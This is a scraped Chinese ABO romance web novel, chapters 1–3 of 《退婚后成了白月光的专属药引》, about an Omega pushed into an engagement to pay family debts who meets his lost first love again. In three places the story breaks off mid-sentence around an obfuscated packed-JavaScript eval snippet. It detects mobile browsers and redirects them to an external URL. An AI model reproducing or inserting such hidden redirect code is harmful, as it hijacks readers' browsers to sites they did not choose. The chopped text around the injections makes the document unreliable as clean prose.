《退婚后成了白月光的专属药引》 1. 同居夜 未婚夫睡熟了,从阖眼仰卧到沉入梦乡,不过三十下呼吸声。 林衡的脸闷在枕头里,薄被紧裹,屏着呼吸,简直像躲避一场弥漫的瘟疫。 Alpha烟焦油似的信息素,令他无法自抑的头晕恶心。仿佛沾上一点,皮肤就熏得发黄,是一种顽固、浑浊又肮脏的臭气。 他受不了这气味,可无论父母或是媒人,都一脸惊诧地瞪着他: “开玩笑吧?如峰虽然是个大老板,却是出了名的不烟不酒,干净得很……” “嗨,小衡这孩子,自从分化为Omega后,就对Alpha的信息素有些敏感,克服一下就好了……” “如峰这么优质,一定要牢牢把握住,你年纪也不小了……” “是啊,为了家里的债务,你也要懂事点,该承担起责任了……” …… 林衡侧过鼻尖,一丝一丝地吸气。 优质、干净、多金,他的未婚夫无可挑剔。 可他喉头发堵、心里发慌,满室的黑暗压瘪了胸腔,快将他的眼泪挤出来了。 林衡像挨了记重拳似的,按着胃部缓缓下床。他赤着脚在冰凉的地板上挪着,做贼般不声不响。 咔哒一声,房门被拉开了。 林衡压力顿轻,像只脱了笼的鸽子,眨眼便蹿进了隔壁书房。 他落座、按键、开机,在台式机嗡嗡的白噪声里,才察觉到额上已然冷汗如瀑,将半张脸都浸透了。 ——这就是他们订婚后的第二天。 月光照彻的书房里,植物叶片肥厚的轮廓落在墙壁上。 坐在虚无的影子中央,林衡心头涌起一阵惶恐。 ——往后余生,该怎么度过呢? 在屏幕的荧荧白光里,他心跳发闷、手心冒汗,神游般点开了“蔷薇色”论坛的生活杂谈区。 十分钟后,他犹豫着新建了帖子:【对未婚夫的信息素生理性排斥,该怎么办?】 半分钟后,消息列表的铃铛摇动起来。 林衡动了下鼠标,光标点中了…… 咔哒—— 书房的门把手被轻轻转动了。 门开了,一双长腿迈了进来,接着是宽松的灰色睡袍,一双骨节宽大的手,和被乱发遮住的英俊脸孔。 林衡手一颤,条件反射地关了页面。 未婚夫闻如峰身材高大,投下的影子像天际的乌云,居高临下地笼罩着他:“小衡,失眠了?” 林衡笑笑:“不太习惯身边有人,睡不……” 话音还未落地,身边便响起了拖动椅子的声音。 闻如峰自顾自地落座了,黑黢黢的双眸紧盯着他,无形的压迫感抵着他的喉咙,让末字的尾音暗淡地哑了下去。 “小衡,我们还没好好聊过吧?” 他留了停顿的间隙,直到林衡如他所愿地点点头,才继续道:“从你我初次见面,到两家正式订婚,总共不到一个月。” ——是二十八天。 林衡在心里默默订正。 不会有人比他数得更清楚,因为每一天都是彻头彻尾的度日如年。 “算上今晚,你我总共见过五次,累计的相处时间,想必不足一整天。” “这在未婚夫妻中不算常态,我清楚。但考虑到我的工作强度,相信你也能够理解,毕竟这是我全部的业余时间。” 闻如峰刻意沉默了一会儿。 寂静无声的氛围,自有一番压力,催促不懂事的另一半躬身反省。 “你我相处时间还短,感情还需要培养。所以,父母提议先订婚、再同居,我也是同意的。” “前提是,我们愿意为彼此改变,而不是消极逃避。” 林衡的两颊霎时刺刺的。 他的嘴唇虚张了下:“我只是……对Alpha的信息素太敏感,生理上和心理上都没做好准备,需要你更耐心……” “你我家庭背景相似,你一定懂得,打理生意会烧干我所有的时间、精力与热情。” 闻如峰打断了他的话:“现在是我的事业的爬坡期,也是闻家的财富急剧积累的时期。我能分给家庭、亲情与爱情的精力,最多十分之一。” “……那你为什么要结婚呢?独居的话,不就能毫无顾忌、百分百地投身于工作中了吗?” 闻如峰笑了:“结婚,为什么不呢?” 在显示屏黯淡的幽光里,他变换了坐姿,上下扫动着眼珠,直白地、仔仔细细地打量着未婚夫。 这是一种品评的姿态,黑夜的遮蔽赋予了他一丝礼貌,否则林衡不敢想象这眼神该有多么直白露骨。 Alpha对Omega,就像禽兽对猎物。 闻如峰略微凑近了,低哑的嗓音在耳边隆隆作响:“你我家世、外貌和年龄都极登对,实在是天赐良缘。” “我喜欢你信息素的味道,像风干的橘皮,苦里掺着甜,带着些刺激性,却又恰到好处。” 他探出手掌,从上到下,若即若离地触碰着林衡的额头、眼睑、鼻梁、嘴唇,一寸一寸,一分一分。 “端正挺拔,却不会过度惹眼。养在家里很安心,放你出门也不担忧……你是个天生的好伴侣,能满足男人对另一半的绝大多数幻想。” 闻如峰的嘴唇停在咫尺之外,一开一合,热热的吐息吹在耳廓上:“或许我不是传统意义上的好丈夫,但在经济上,我不会亏待自己的妻子和孩子,也绝对不会亏待林家。” “闻家资财丰,林家背景深,强强联合,定能让家族兴旺发达。” “至于你哥哥欠下的赌债,放心,按照约定,我会婚后帮忙还清的。” 林衡一动也不敢动。 未婚夫的指腹擦过时,他寒毛直竖。 比起信息素的威压,更令他坐立不安的是闻如峰话语背后的暗示。 ——林家还要指望闻如峰还债。 ——对于这场婚事,林衡没有拒绝的余地。 林衡强笑一声:“这是在讽刺我吗?” 闻如峰也在笑,笑得意味深长:“怎么会,我是在夸林家兄友弟恭呢。” 说罢,他手腕一转,擒住了林衡的下颏,将未婚夫的面孔霍地拉近了。 林衡一动不动,屏着呼吸,任由他剐蹭把玩着纤细的颈子。 Alpha侵略性的气息扑面而来、避无可避,他只得直着身体,兀自忍耐着,连眼皮都不敢落下。 就像面对凶兽时假死的雀鸟。 “我很中意你,小衡。” 与他四目相对的闻如峰,有一张挑不出错处的脸。 “我的确想娶你回家。” 他的声线放得很低,听起来沙沙的。 林衡的心跳蓦地漏了一拍。 这不是心动,而是他清晰地觉察到,自己对这个挑不出错处的男人毫无感觉,却又拒绝不得,于是心里发出轻微的咯噔一声。 如坠冰窟。 半明半昧里,闻如峰与他的距离在缩短,他动弹不能,像目睹着地壳渐渐隆起,一座炽热的山岩正挤压另一座。 五秒钟过后,林衡方从恍惚中醒过神来。 两人正鼻碰着鼻、唇贴着唇。 不是在撞击,而是在轻吻。 这是林衡的初吻,或许是吧,他却不记住是什么滋味,因为他用尽浑身气力来对抗本能的排斥。 他猜他僵硬得像个死人,只有死人才不会从这个吻里逃脱,那滋味活像嘴唇里被塞进了黑烟熊熊的木炭。 烟尘味让他疯狂地想咳,焦臭味让他险些失去意识,他甚至怀疑自己的肉和脂肪在烧,他几乎是透支了下辈子的意志力才熬过这场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396610|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酷刑。 而这甚至不算他婚姻生活的开始,最多是蜻蜓点水的预演。 情感上疏离,生理上厌憎。 他的未来,是一座能扎穿骨肉的黄金鸟笼。 窒息、想吐。 砰—— 林衡手肘一挥,猛地带翻了桌上的马克杯。 闷钝的撞击声令人牙酸,闻如峰向后一闪,脊背重重磕在了椅背上。 对面的Omega扫了扫前襟:“你的话我懂了。你我身份相当、需求互补,是表面上还算般配的一对。” 慌乱到极致后,林衡反倒冷静下来。 “你说不该消极躲闪,我接受。既然你认为这不利于磨合,那我便如实地说出我的想法。自从十七岁分化为Omega之后,我对Alpha的气味便非常敏感,今晚突然暴露在高浓度的信息素下,生理上有些排斥,身体不太舒服。” “为了婚姻,我可以适应,但你我见面不过五次,刨去未婚夫妻的名头,甚至不算熟人,相信你能理解我的拘谨,过于亲密的举动,有些不合适了。” “感情可以培养,但要循序渐进。你我都不是轻浮的人,希望我们能彼此尊重。” 看来这个Omega,不是个柔弱可欺的角色。 为人正派,敢说敢做。 闻如峰点点头:“是我考虑不周。既然你身体不适,我们就暂且分开睡,你住主卧,我住次卧……” 都是要脸面的人,对方的话说得这样明白,若他再举止唐突,那便是猥琐小人了。 来日方长。 林衡似听非听,强笑几声,将未婚夫打发走了。 等男人离开后,他仍是僵坐在靠椅中,直到隔壁响起了关门声,他才一把拽开拉门,冲进小阳台,扶着栏杆干呕。 胃里翻江倒海。 林衡汗泪齐下,浑身打颤,整个人几乎虚脱了。 林衡靠着栏杆滑坐在地面上,迎着瑟瑟夜风擦着脸颊,睡衣的袖子被洇湿出一小块一小块,在霜雪似的月光下现出斑斑点点的暗色。 林衡的心忽然好空。 他的脑海中,又回荡起那个问题,他在“蔷薇色”论坛发帖求助的问题:【对未婚夫的信息素生理性排斥,该怎么办?】 他游魂似地荡回桌前,木然地点开消息列表,有位陌生网友在评论区回复道:『可以去医院做个检查。另外,你和未婚夫有感情基础吗?』 一行大字,让他呼吸一窒。 片刻后,他十指按键如飞,速速回道:『没有感情,但可以培养。只要他无重大疾病、不干涉我的工作、能帮扶我的家庭,我便愿意试着交往。』 『我不理解。作为Omega,你在婚恋市场上炙手可热,为什么不在家境优渥的适配者里挑个喜欢的?』 一句石破天惊的质问。 林衡浑浑噩噩地扫向了回复者的用户名。 『瑶池』 纯黑的两个大字。 林衡嗒嗒地敲出了一行字:『我有喜欢的人,但是没办法在一起。』 没有回复,世界陷入迟滞的沉默,悬而未决的情绪被画下逗点,焦躁感停在喉咙里,噎得他心慌意乱。 他继续解释道:『我和心上人断联七年了,绝不可能有任何越轨的行为,我会试着和未来的丈夫培养感情,也会做个合格的伴侣和父亲……我会不会太自私了?』 等待答复的每一秒,都是漫长的自我拷问。 十分钟后,“瑶池”才回复道:『别这样想,每个人都有过去,没必要苛责自己。』 林衡忍不住苦笑,只当这是一句不走心的安慰。 还没等他礼貌地回句谢谢,“瑶池”的私信便先一步送达了: 『你是个有底线的人,不像我的未婚夫,在结婚前的三个月里,和前男友出轨了。』 2. 再重逢 “您相信一见钟情吗?” 身穿暗红色志愿者T恤的林衡,笑眯眯地递出了手中的宣传册。 金发碧眼的游客灿烂笑着,牙齿白得晃眼:“当然,罗密欧与朱丽叶就是一见钟情。” 人到中年的Beta夫妇互相对望一眼,腼腆地摸摸耳朵:“没经历过,心动的感觉更多来自于生活的细节吧……” 穿着背带裤的小男孩仰着脸拉妈妈的手:“我爸爸说在他高中分班的时候,一眼就喜欢上妈妈了。” …… 架在后方的单反如实记录着鲜活的一幕幕。 “OK,素材够了!” 亮绿的指示灯黑下去了,摄像陶青扣上电子屏:“累坏了吧小衡?陪我去展厅里拍点镜头,咱俩就撤吧。” “那怎么行?还剩两小时……” “哎呀,我一个人扛设备回去多累呀,反正这里有阿程看着……” 陶青笑得促狭,冲他挤眼睛:“对了,你那相亲对象怎么样啊,看上了没?” 她声音不低,唬得林衡一跳:“学姐,你小声点,你答应过我不声张的……” “行行行……那个Alpha高吗?帅吗?哪个学校的?” “还……挺好的……” 林衡被噎住了似的,过了好一会儿才介绍道:“比我大六岁,相貌英俊,谈吐成熟,大学毕业就接管了家里的生意,单身四五年了。我和他见过四次……” 陶青一侧的眉毛拧起来了,她盯了一会儿林衡,头像拨浪鼓似地摇起来了: “不行不行,和你家里说说,这人算了吧……” “怎么了?” “很明显啊,你……” 陶青话说到一半,突然间停下了。 下一秒,她的杏仁眼大睁起来,亮得像探照灯:“开机!阿程帮我开机!” 陶青笑得像花似的,右手连推身旁的林衡好几下:“小衡!去把那个黑衣服的拦下来,快采访他!” “素材不是够了吗?” “哪儿够啊?那么上镜的大帅哥,男模似的,要是放在纪录片开头,从艺术馆的领导到屏幕前的观众,肯定齐刷刷的眼前一亮……” 林衡无奈,他轻车熟路地抽出薄薄的宣传册,台词早就烂熟于心了,无非是…… 林衡忽然站住了。 在展馆入口处,落地窗明暗交杂的光影下,有位穿风衣、戴墨镜的年轻人正向导览台走来。 他太高挑,头窄肩宽,身材优越,黑蓝的风衣收得很窄,勾出挺拔的脊背和长直的双腿。在展馆雪白的曲面墙下,他毫不费力地从稀稀落落的访客间跳脱出来,步伐利落、身姿潇洒。 “天呐,怎么构图都好看……” 陶青一瞬不瞬地盯着相机取景框:“随便一拍,就是一组模特大片啊……” 像被陶青唤醒了似的,林衡的心突然狂跳起来。 咚咚、咚咚、咚咚—— 他手心出汗,血向上涌,满耳都是杂乱的鼓噪声。 太像了…… 他有些惶恐、也有些贪婪地盯着那道身影,大脑陷入了白茫茫的雾里。 年轻人比例绝佳、气质出众,时值黄昏,他走在暗铜色的夕照中,空旷的艺术馆如橘色的水潭,他的轮廓朦朦胧胧,仿佛自回忆的另一端遥遥走来。 是他?不是他?不,是他…… 这是如梦似幻的一刻,林衡陷入了漫长的恍惚,仿佛两人身处各异的时空,隔着七年光阴、迢迢岁月,而他动弹不能,只是眼睁睁地看着,看那人跋山涉水,回到自己身边。 “小衡……” 身后的陶青低低催了一声。 年轻人路过导览台前,斜斜的影子落在他的脸上。 暗色笼罩下来的刹那,林衡堪堪回过魂来,血管擂动的声响泄露了他的慌乱、雀跃、无措、狂喜…… 耀清…… 来不及眼眶发酸,林衡的躯体便先一步替他行动了,他半抬着头,像上了发条的人偶一般,浑身僵硬、无知无觉地上前一步。 “先生……” 离得近了,他才发觉他风尘仆仆,像刚从海滨度假归来,身上的布料弥漫着太阳暴晒后的味道。 林衡浑浑噩噩,几乎听不见自己的声音:“你相信一见钟情吗?” ——错了!错了! 盯着显示屏的陶青急得咬住了自己的舌头。 ——不该是先问一句“我们在为美术展拍纪录片,方便抽三十秒接受采访吗”? 英俊的年轻人忽地站住了。 他的目光转向了拦在面前、故作镇静的林衡。 林衡的呼吸蓦地停了半秒。 隔着墨镜对峙时,无言的沉默仿若潮涌,昏暗轻柔,徐徐地将他们推向彼此。 林衡有些怔忡,他盯着自己投在漆黑镜片上的面孔,莹白一张,困在昏暗的镀膜中央,像陷进一口无光的深潭,即便快要溺毙,仍维系着疏离的姿态,不敢挣扎,亦不敢呼救。 或许过了半秒,又或许过了半分钟,颀长的手指抵着玳瑁框一晃而过,将墨镜推了上去。 年轻人低垂着眼,他动了下薄而狭长的眼睑,浓密的长睫扇了下,幽幽的目光蜻蜓点水地掠过林衡的名牌。 他面露倦怠,剑眉蹙了蹙,像是偏头痛,或是不耐烦:“不清楚。” 他在回答那句提问,漂亮的黑瞳越过了林衡,直视着相机镜头:“所以才会来看展。” 他轻描淡写地敷衍着,似乎他与林衡只是陌生人。 林衡扯出个笑来,他没什么实感,思绪像浸在水里,一切都模模糊糊的。 直到年轻人从他身边掠过,从他手中抽去图册,两人的衣袖轻触又分离,他才大梦初醒一般,瞳孔猛地紧缩,手指微微颤抖。 一瞬间,成百数千个念头在脑海中齐齐轰鸣,争先恐后地喋喋不休。 你过得好吗?地质工作累吗?病治好了吗?还和母亲吵架吗…… 你有没有交往中的…… 他不敢问,七年了,他一直从别人口中零星地拼凑消息,也无数次幻想过他们的重逢,而真当面对面时,千言万语都哽在喉头。 他对不起他,他们不是能微笑寒暄的关系,江耀清已足够礼貌,给彼此都留了体面。 脚步声渐渐地远去了,林衡一顿一顿地回过头,控制不住地望着那道挺拔的背影。 明明是胆怯的,可就在这一瞬间,他的胸中腾起不可理喻的冲动,粗鲁地推搡他追上前去,结结巴巴地问出那两句厚颜无耻的话: ——你为什么要回来? ——你肯回来,是不是代表着你能原谅…… 他的肩膀被重重地拍了拍。 陶青激动地凑了过来:“小衡,太好看了这个镜头,简直能竞争我的年度最佳啊!” 她咔哒一声将单反从云台上卸下来,端到林衡面前,兴冲冲地递给他看: “你瞧,这构图,这背景,这对俊男,太绝了,满满的故事感……这么绝妙的光影下,哪怕两只狗对视都深情款款……当然我不是在骂你,总之就是太棒了!养眼!绝配!” 绝配? 林衡像被戳中心事似的,一个激灵:“别开玩笑了,学姐……” “没开玩笑啊,我是实事求地评价好吧?不信你问阿程……阿程,你觉得呢?” “好看。” 程秋意正有条不紊地归拢着宣传册,向来惜字如金的他,罕见地多添了两个字: “般配。” “你瞧!阿程认证的般配!” 陶青同林衡咬耳朵:“要不要去要个联系方式?” 是啊,联系方式…… 他曾犯下大错,欠了耀清许多,却没机会作出任何弥补。 “学姐,等我下,一会儿我再回来找你……” 不消片刻,单薄的林衡便汇入人潮中,他焦急地穿行,目光扫过一张又一张面孔,男女老少从眼前晃过,却独独不见自己朝思暮想的那道身影,仿佛方才的邂逅只是一场梦境。 不可能,他不相信…… 林衡转身奔向旋转楼梯,他一路攀上二楼,俯瞰美术馆的中庭,可那人当真像一滴水消弭在海洋里,彻底失去踪影,只余他激烈燥热的心跳,一声接一声地冷却下去。 “小衡!” 一阵脚步声从楼梯上传来,陶青跨过最后一阶,把三脚架往地上一竖:“找到人了?” 林衡慢慢垂下了眼睛。 “没找到?有点可惜啊。我还想劝你换个人交往,甩了现在的相亲对象呢……” 林衡一怔,忽然想起被打断的对话:“怎么了,他哪里不好吗……” “当然是因为你不喜欢他,多明显啊。” 陶青摆摆手:“回到咱们这场艺术展的主题,‘一见钟情’。我是相信一见钟情的那类人,是不是良缘,信息素会告诉我们答案。你们都见了四次了,一提起他,你还是一脸为难,显然就是没感觉嘛。” 林衡的视线闪开了,声音哑哑的:“确实欠点感觉,但感情也可以培养……” “不不不,像他这种人,我可太了解了。” 陶青摇摇头:“按你的说法,他的相貌、家财、谈吐和才干都没有短板,这种六边形战士级别的富二代,竟然单身了四五年,三十一岁未婚,你觉得是为什么呢?” 陶青的音量压低了:“我直白点说吧,只有三种可能,他要么是个海王、要么非常挑剔、要么是个极端工作狂。” “这三种人,在择偶方面,有个共同点,那就是现实又精明,只想要个被乖乖养在家里的太太,肯定会哄着你三个月结婚、十个月生孩子……你阅历太浅,根本玩不过他,就算他有钱,也会把经济大权控得死死的,钱袋子给看不给花……我可不是危言耸听啊,这都是我身边姐妹的血泪教训……” “知道你是为我好……” 林衡沉默了一会儿:“这门婚事,我做不了主。” 陶青脸色有些变了:“什么意思?你爸妈逼你联姻?和不喜欢的人结婚,和钱色交易有什么区别?” “我以为妈妈不会这样做,因为她很爱面子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396611|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、很讲体面……” 林衡轻轻叹了口气:“但哥哥去世前欠下的债务,实在是不乐观,况且妈妈的公司近来经营困难,被下游拖欠四十亿的回款……我是个学生,即便拼命打工,也只能负担自己的日常开销而已,我能帮家里做的,也就只有结婚。学姐,谢谢你给我介绍的兼职,下周我请你吃饭。” 这是闲聊到此为止的意思。 陶青一时不知该说什么好。 “客气什么……等你毕业了,正式入职了华锐集团,成了数据工程师再请我也不迟。” 陶青的眼神有些复杂,她一向快人快语,现下却难得地犹豫了一会儿:“但是小衡……婚姻是终身大事,如果你结婚了,被标记了,恐怕就一辈子和那个Alpha绑定了……” “是啊,不只是我,对方也有这个顾虑。” 林衡帮学姐调整三脚架的高度:“所以两家打算先订婚、再同居,从明天开始。” “明天?!” “是啊,明天。” 林衡苦笑了下,眼里像起了阵雾气。 “今晚就是我的订婚宴,聚餐去不了了,抱歉。” …… * 上午八点半,林衡从昏暗的主卧里惊醒了。 他喘得厉害,两颊发热,额前冷汗淋漓,耳朵里嗡嗡直响,浑身酸痛得动弹不能。 他的发.情期……是提前了吗? 林衡像被蒸熟了似的,脑子都快融化了,雾昭昭的眸子涣散地望着铁灰的天花板。 那是两天前的事情,学姐为银城美术馆的装置艺术展拍纪录片,顺带拽上他和阿程去做志愿者,负责分发宣传册和采访游客。 偶然中的偶然,他竟与旧友重逢了。 是与他生活半年、遭他陷害、与他断联的江耀清。 长达七年的分别,不足半分钟的问答,平淡如水的擦肩而过。 他曾以为两人将此生不复相见,因为愧悔,因为无颜面对。 阴差阳错,他魂牵梦萦的那人,竟再次出现在面前,即便形同陌路。 “耀清……” 林衡叹息一声,他屈起手肘,强撑着坐起身,习惯性地摸来手机检查消息。 按亮屏幕的一刹那,他的心跳突然停了半拍。 暗红的锁屏壁纸中央,是堆叠成山的未读消息浮层。 『……这就是我未婚夫出轨的始末』 消息来自昨晚在论坛上新加的网友,“瑶池”。 林衡悚然一惊,手指不听使唤地点开了消息。 在屏幕荧荧的白光里,他从头翻阅着零零星星的文字。 『我和未婚妻是相亲结识的,在一起三年了』 『他相貌英俊,温顺懂事,我工作繁忙,却能为他提供优渥的生活』 『刚接触的时候,我们没多少热恋的感觉。但感情可以培养,我和他之间越来越默契,我也就主动将结婚提上了日程』 『可就在五天前,我却收到了一沓厚厚的信』 『信是打印的,写着我的未婚妻根本不爱我。他和我在一起,只是为了完成结婚生子这项任务』 『在我独自加班的日日夜夜里,在我看不见的街角、商场、酒店里,他在和另一个男人甜蜜地约会』 『那个男人才是他的真爱,是他年少时的白月光,也是深埋心底的求不得』 『因为父母的阻挠,他们不可能结婚。可我的未婚妻情难自禁,背着我与他幽会,享受这份偷来的刺激』 『寄信的人附了照片,一张又一张,记录着那些甜蜜的互动』 『他们在大桥上骑车、在书店里喝咖啡、在露天运动场打羽毛球、在公交车站共用同一副耳机……』 『照片里的他好陌生,亮亮的眼睛、羞涩的小动作、开怀甜蜜的笑容、装模作样的嗔怒……都是我从未见过的』 『在我面前,他从来都是淡淡的。他自称性格慢热,甚至温柔得像个假人……现在我明白了,他的心里从来都没有我,和我相处的每分每秒,他始终在演戏』 『太难受了,从收到信到现在,已经五天了,我没睡过一个整觉……我心乱如麻,烟灰缸里的烟蒂都塞不下了』 『我不知道该怎么办,我到底该不该和他摊牌?摊牌后又该怎么办?是给他个机会,还是彻底舍弃这段三年的感情?』 『这就是我未婚夫出轨的始末』 看到最后一行时,一阵无名的凉意蛇一样蹿上脊背。 林衡寒毛直竖,手臂上起了细小的鸡皮疙瘩。 他静了几秒,慢慢地将消息向上划。 相亲结识、一人有财一人有貌、没有热恋的感觉、有忘不掉的初恋、不能和白月光结婚是因为家庭…… 甚至和初恋约会的地点,都是大桥、书店、球场、公交站…… 林衡的脸褪了血色,眼珠畏惧地颤动起来。 为什么,怎么会像是…… 像在影射他和江耀清? 这个“瑶池”,难不成…… 是闻如峰派来试探他的人? 3. 对不起 论坛上结识的网友,会是未婚夫派来敲打他的侦探吗? 林衡攥紧了手机,逼迫自己冷静下来。 不会的,他和“瑶池”描述的“未婚妻”大不相同。 在结识闻如峰后的一个月里,他从未与任何人有过亲密接触,他与江耀清的故事,早就结束在七年前了。 那些说不清道不明的情愫,只是他一厢情愿的暗恋而已。 电光石火间,他的眼前又浮起了昨天与耀清对视的情景。 高挺的眉骨、低垂的浓睫、若有似无的注视。 目光掠过时,像一团捉不住的轻风,在林梢绕了一瞬,便涌向了天空。 终是有些怅然若失。 林衡叹息一声,抬手遮住了眼睛。 思绪到此便熔断了,像无数次发情期那般,难以抗拒的热潮袭侵袭着感官,令他的意识断断续续,像电台频闪的信号。 算了,无论如何,先稳住“瑶池”再说。 林衡昏昏沉沉的,软绵绵的手指有气无力地按键,向“瑶池”发了一连串的安慰。接着他揉了揉脸,拉开床头柜,用发烫的手拆了一盒全新的抑制剂。 当针头扎进血管,凉冰冰的药液被推入静脉时,他烧融的思绪也一滴滴冷却,混沌的意识重归清明,渐渐从荒唐的昨夜里醒来了。 他不再是十七岁的少年了,他已经订婚了,刚刚和未婚夫度过了同居后的第一夜。 他没资格再回忆无疾而终的初恋,更没资格怀念对不起的那个人。 就这样结束吧…… 嗡、嗡、嗡—— 手机突然震响了。 “喂,小衡,醒了?” 电话另一端响起了闻如峰的声音:“昨晚睡得好吗?” “早安,如峰。” 林衡强打精神道:“睡得还行,你在工作?” “嗯,虽然是周日,但也要见客户,我提前到了几分钟。” 闻如峰似乎在喝咖啡,听筒里传来了轻微的音乐声,以及瓷杯和托盘的碰撞声。 在咖啡厅里见客户?甚至自顾自地提前点餐了? 林衡不太灵光的脑子隐隐捕捉到了一丝异常。 “你吃个早餐,好好休息一上午。我给你约了下午的体检,短信很快会发到你的手机上,我派助理开车送你去。” 林衡一怔:“体检?我们不是刚做过婚检吗?” “嗯。但很明显,那些项目不全,医生水平也有限。” 闻如峰意有所指:“不然就不会查不出你很排斥Alpha的信息素了。” 无形的压力霎时笼罩了林衡的肩头。 “我约的是眀寿医院,是银城最大的私立医院,检查速度很快,半小时出完整的纸质报告,你可以直接去找腺体科的专家看诊。” 他慢悠悠地吹开热气:“如果有病,就好好治。如果没病,就去精神科挂个号。如果心理也查不出问题,那么我会找人来‘教’你,让你尽快适应闻太太的身份。” 林衡发汗的身躯颤了下,呼吸变得艰涩,胸前像压了石头。 同居后的第二天,他的未婚夫便开始立威。 明明他昨晚严肃表达过,要互相尊重。 “好了,客户要到了,先聊到这里。对了,看诊结束后,唐助理会带你去挑一套成衣,明天晚上跟我出席酒会,见见生意伙伴,你爸妈也会来,已经约好了。” “我……” 嘀、嘀、嘀—— 听筒里响起一串忙音。 林衡怔了会儿,脸色难看地放下了手机。 他脾气好,却还是被这种态度惹得不快。 闻家是近五年崛起的新贵,财大气粗;林家是颇有背景的老牌望族,声名显赫。 两个年轻人的结合,是一场赤裸裸的利益互换——资财丰厚的闻家为林家输血,林家则成为闻家迈入豪门圈子的引荐人。 双方各取所需,本该是平等的。 但如今的林家债台高筑造,不但没还完大儿子生前的赌债,母亲林不默的公司也经营困难,他们便成了这桩婚事里更被动的一方。 “夫妻之间啊,不能太计较……” 他的脑海中回荡着爸爸苦口婆心的劝诫,结婚二十余年,他一直是妻子坚实的后盾:“家和万事兴。要是学不会忍让,和谁在一起都长久不了……” 哗啦—— 林衡抬手一拨,桌上的针筒被一股脑地扫进垃圾桶。 他摇摇晃晃地下床,拖着发热的躯体走进浴室,砰地一声甩上了玻璃门。 人无完人,金无足赤。 他自我开解着,或许闻如峰不是不尊重他,只是当惯了上位者,做事便有些霸道。 细密的水流从花洒中铺天盖地的洒下,林衡扬着脸,将湿透的额发向后梳拢。 既然低人半头,自然该迁就对方。 小事而已,他要学着包容。 * 下午两点十五分,林衡坐在贵宾候诊室的最末排,袖管高高挽起,用棉签紧紧压着抽血留下的针孔。 “林先生,要不要往前坐?整间候诊室都是空的……” “不用,谢谢。” “是嫌前排阳光太晒吗?我帮您拉百叶窗……” “不了,我只是不喜欢医院。” 唐助理呵呵地笑起来:“您以前总来?” “有段时间身体不好。” 林衡略微抬起棉签,青紫的静脉从纤薄的皮肤下透出来,不一会儿又钻出一点猩红,他便重新按了回去。 “这样啊……小时候身体弱?” 林衡没回应,他的睫毛动了两下,随后慢腾腾地抬起视线,看了闻如峰的助理一眼。 唐助理的背后霎时一紧。 他试探得太明显,引起了对方的警惕。 『……下午去陪小衡体检的时候,好好旁敲侧击一下。』 老板的吩咐在脑海中回响:『虽然婚检看不出异常,但他看起来体质一般,说不定有其他病史……未来的闻太太,不能选个病秧子。』 在对方平静的审视里,唐助理笑得有点僵,厚着脸皮道:“您把叫号单给我下,一会儿我去服务台帮您取纸质报告……” 吱呀—— 话未说完,候诊室的门忽然被推开了。 唐助理一怔,看清来人后,脸上立刻挂起招牌式的笑容:“江总好,您也来体检?这么巧啊……” 江总? 林衡的心跳忽地变速了。 在他略微颤抖的视线里,那道令他魂牵梦萦的身影停在了初秋的阳光下。军绿的短夹克、黑亮的高帮靴、暗色的马裤,像街头时尚又利落的街拍模特,甚至有着毫不逊色的高挑身材。 是昨夜出现在梦里的江耀清。 林衡的右手突然用力,啪地折了棉签,甩手掷进垃圾桶里。 他胡乱勾下衣袖,匆匆掩饰着针孔,带着几分说不清的心虚。 江耀清脚步一顿,剑眉下浅褐色的瞳孔偏移几分,视线落在唐助理身上。 他冲对方略微颔首:“是啊,秘书正帮我拿报告单……唐助理是陪闻总一起来的?” “没有,是陪老板的未婚妻……” 助理麻利地闪开,让身后的林衡彻底暴露在对方的视线里。 “江总,这位是林衡,林先生。林先生,江总是闻总的大客户,帮闻总介绍了融资,明晚的酒会也会出席……” 助理躬身在耳边絮絮着,林衡听得不分明,某个念头乌云似地盘旋在脑海中,压得他的心头暗沉沉的。 江总?闻如峰的大客户?这不应该…… 他明明该去追寻自己的地质梦,他明明该像七年前所畅想的那般…… “……就是这样,您和江总打声招呼?” 助理从耳边退开,他的视野蓦地亮起了,刹那间,林衡的思绪荡悠悠地中断,眼里只剩下江耀清挺拔的身影。 他们的视线猝不及防地交接一瞬。 在窗外梧桐叶沙沙的涛声里,林衡的目光与他的眼眸虚虚一触,便故作匆忙地四散开来。 又来了,这样沉闷、轻柔又意味不明的对视。 “耀清,好久不见……” 林衡慢慢起身,维系着假面般的微笑,视线却始终是游移的,漫无目的地寻觅着落点。 他的左手无意识地捻着裤线,心绪分明焦灼,语气却生疏客套:“时光荏苒,看来你事业有成,或许我该叫你一声‘江总’。” 江耀清目光蓦地一凝,眉头不耐地蹙起了。 这丝稍纵即逝的厌烦,令林衡恍惚了一刹。 他太熟悉这样的神情,七年前,那个郁郁寡欢又英俊逼人的少年,每当被不识趣的家伙缠上时,便会露出这般眼神。 意识到这一点的瞬息,他的胸膛忽然涨得满当当的,呼吸格外艰涩,某种发酸的滋味向鼻腔处蔓延。 曾经亲厚无比、同食同宿的两个人,竟变得如此陌生了。 “0043号,0043号……” 休息室中忽然响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 